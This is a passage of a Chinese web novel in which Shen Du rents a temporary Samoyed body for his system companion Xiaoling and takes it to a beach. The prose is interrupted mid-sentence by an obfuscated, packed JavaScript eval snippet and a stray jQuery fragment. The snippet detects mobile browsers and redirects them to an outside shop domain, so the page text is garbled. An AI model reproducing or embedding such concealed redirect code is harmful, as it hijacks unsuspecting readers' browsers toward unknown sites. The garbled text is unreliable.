一人一统的旅行生活要从一年前说起。在孩子们长大了并不断给沈渡发短信,打视频,打电话(好的家庭养出恋家的鸟)……沈渡的绑架犯任务差不多到了快结束,只需要等杀青就行的时候,一人一统开始躺平等任务结算。但干等着确实无聊,于是……
于是沈渡用救世的功德给小零换了个身体。
不是永久的。这就一个世界。租的。就像租车一样,到点了还回去,继续当它的话痨系统。小零对此的评价是:“宿主你好抠门。”沈渡说:“功德就这么多。”
小零说:“你可以再救一次世界。”沈渡说:“你当救世界是买菜?说救就救?而且你下个世界不出来玩了吗?”
小零想了想,觉得有道理,便欣然接受了这七天的狗生。
从系统空间出来的那一刻,它站在客厅中间,低头看了看自己的爪子——白色的,毛茸茸的,肉垫是粉色的。它回头看了看自己的身体——通体雪白,尾巴蓬松得像一大团棉花糖。
它在原地转了三圈,确认这具身体确实属于自己了,然后冲到阳台上,对着楼下的流浪狗汪了一声。
流浪狗抬头看了它一眼,继续睡觉。
小零跑回来,把下巴搁在沈渡膝盖上,深棕色的眼睛里写满了委屈。“宿主,它不鸟我。”
“你是陌生人,它为什么要鸟你?”
“可我不是陌生人,我是小零。”
“它不知道你是小零。它只知道你是一只白色的、看起来很笨的、突然对牠汪了一声的狗。”
小零觉得这个分析很伤人,但它没有证据反驳。它把脑袋埋进沈渡手心里,拱了拱。沈渡摸了摸它的头,手感很好,毛很软,耳朵竖起来的时候像两片三角形的云。他摸了一会儿,忽然停下来。
“小零。”
“汪?”
“你只有七天。你想去哪里?”
小零抬起头,深棕色的眼睛亮晶晶的。“我第一次出来,这么多年,第一次!宿主是第一个给我租身体的!第一次!我想去海边!要有沙滩!要有海浪!要有椰子树!要有那种可以躺在上面晒太阳的椅子!还要有冰淇淋!香草味的!我能吃吗?我能不能吃?狗能不能吃冰淇淋?宿主你查一下——”
沈渡已经在查了。他查了五分钟,得出结论:“可以吃,但不能多吃。每次一小口。”
小零的尾巴摇得飞快,像一台失控的螺旋桨。它已经不在乎能不能多吃了。能吃就行。一小口也是吃。
海边。
小岛在南半球,坐了一整夜的飞机。沈渡给小零买了宠物机票,把它安置在有氧舱里。飞行途中他下去看了它三次。
空姐都认识他了,说“先生您的狗很乖”。
沈渡说“它不是我狗,是我朋友”。
空姐愣了一下,然后笑了。她大概觉得这个客人很有趣。
落地的时候是当地时间上午十点。阳光很好,海风很轻,空气里有一股咸咸的、腥腥的、让人想脱鞋的味道。
沈渡租了一辆敞篷吉普,把小零放在副驾驶,沿着海岸线开。
小零把脑袋伸出窗外,舌头被风吹得飞起来,耳朵往后翻着,整只狗看起来像一个正在经历风暴的、但非常快乐的毛球。
“宿主!好快!好快!好快!”
“时速六十。不算快。”
“对我来说很快了!我看了好多年的屏幕!!你知道吗宿主,屏幕可以看见所有东西,但风的感觉不一样。风不是看的,是感觉的。我现在感觉到了。它在吹我的毛,吹我的耳朵,吹我的舌头。它把我吹成了一只疯子狗。我好开心。”
沈渡没有回答。他把油门踩深了一点。风吹得更猛了,小零的舌头被吹得更歪了。
它不在乎。它把脑袋伸得更出去,闭上了眼睛,让风吹着它的脸。风不知道它是一只刚当上狗的萨摩耶,风只知道它是一只需要被吹的、白色的、毛茸茸的、正在笑的生物。
风对它很好。风没有问它“你从哪里来”,风只是吹它。吹得它满脸是风,满嘴是风,满脑子是风。
它把那些风存进了系统空间里,存进了一个叫“好东西”的文件夹。那个文件夹里本来只有沈渡的脸、沈渡的厨房、沈渡的走廊、沈渡的小夜灯。
现在多了一味调料——风。南半球的、咸咸的、腥腥的、热乎乎的、吹得狗舌头歪掉的风。
到了海边,小零第一个冲了下去。沙滩很白,细得像面粉。海浪一下一下地拍上来,又退回去,像大地在呼吸。小零站在海水边缘,看着那些白色的泡沫漫过它的爪子,又退下去,又漫上来。它低头闻了闻,咸的。又闻了闻,还是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547268|204194||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
咸的。它伸出舌头舔了一口。
“呸。”
沈渡在躺椅上坐下来,戴上墨镜,看着那只正在和海水吵架的萨摩耶。小零对着海浪汪了几声,海浪没有理它,继续按自己的节奏上来下去。
小零觉得这个对手很高冷,于是它换了一种策略——它开始追海浪。浪退下去的时候它追,浪打上来的时候它跑。它和海水玩起了谁先碰到谁的幼稚游戏。
海水不在乎输赢,它只是在那里,来了又走,走了又来。小零在乎。它想赢。它想证明自己比一片海跑得快。
沈渡看着那只白色的、湿漉漉的、正在跟海浪赛跑的萨摩耶,笑了一下。
他想起小零以前在系统空间里说的那些话。每次他心情不好的时候,小零就会说“宿主我给你讲个笑话”。
他从来记不住那些笑话,但他记得小零的声音。很欢快,像一只刚出锅的汤圆,软软的,热热的,咬一口会流馅的那种。
那些笑话不好笑,但声音好听。好听到他每次听完都会笑一下。不是被逗笑的,是被暖笑的。
小零跑累了,回来趴在沈渡脚边,舌头伸在外面,大口大口地喘气。它的毛湿了,贴在身上,看起来瘦了一大圈。
小零闭着眼睛,尾巴在沙子上扫来扫去,扫出一道一道的痕迹。痕迹被风吹散了,又被它扫出来。散了,扫出来。散了,扫出来。它不在乎。它只是想留下点什么。但沙子不记事,风不记事,海不记事。能记事的只有它自己。它把这一刻记了下来。
擦完了。沈渡从 cooler 里拿出一个冰淇淋,香草味的,咬了一口。小零坐起来,眼睛盯着那个冰淇淋,尾巴摇得像一台快要起飞的直升机。
“宿主。”
“嗯。”
“一小口。”
沈渡把冰淇淋递过去。小零伸出舌头,小心翼翼地舔了一下。冰得它整个狗都缩了一下,但它没有放弃。
它又舔了一下,又缩了一下。缩了舔,舔了缩,像一个被电击的、但非常执着的毛球玩具。沈渡看着它,笑了。这次笑出了声。笑声不大,但在空旷的海滩上传得很远。传到海面上,被浪打碎了;传到天空上,被风吹散了;传到他自己的耳朵里,被记忆收好了。
当然,此时信在系统空间失望的看着两不靠谱的家长!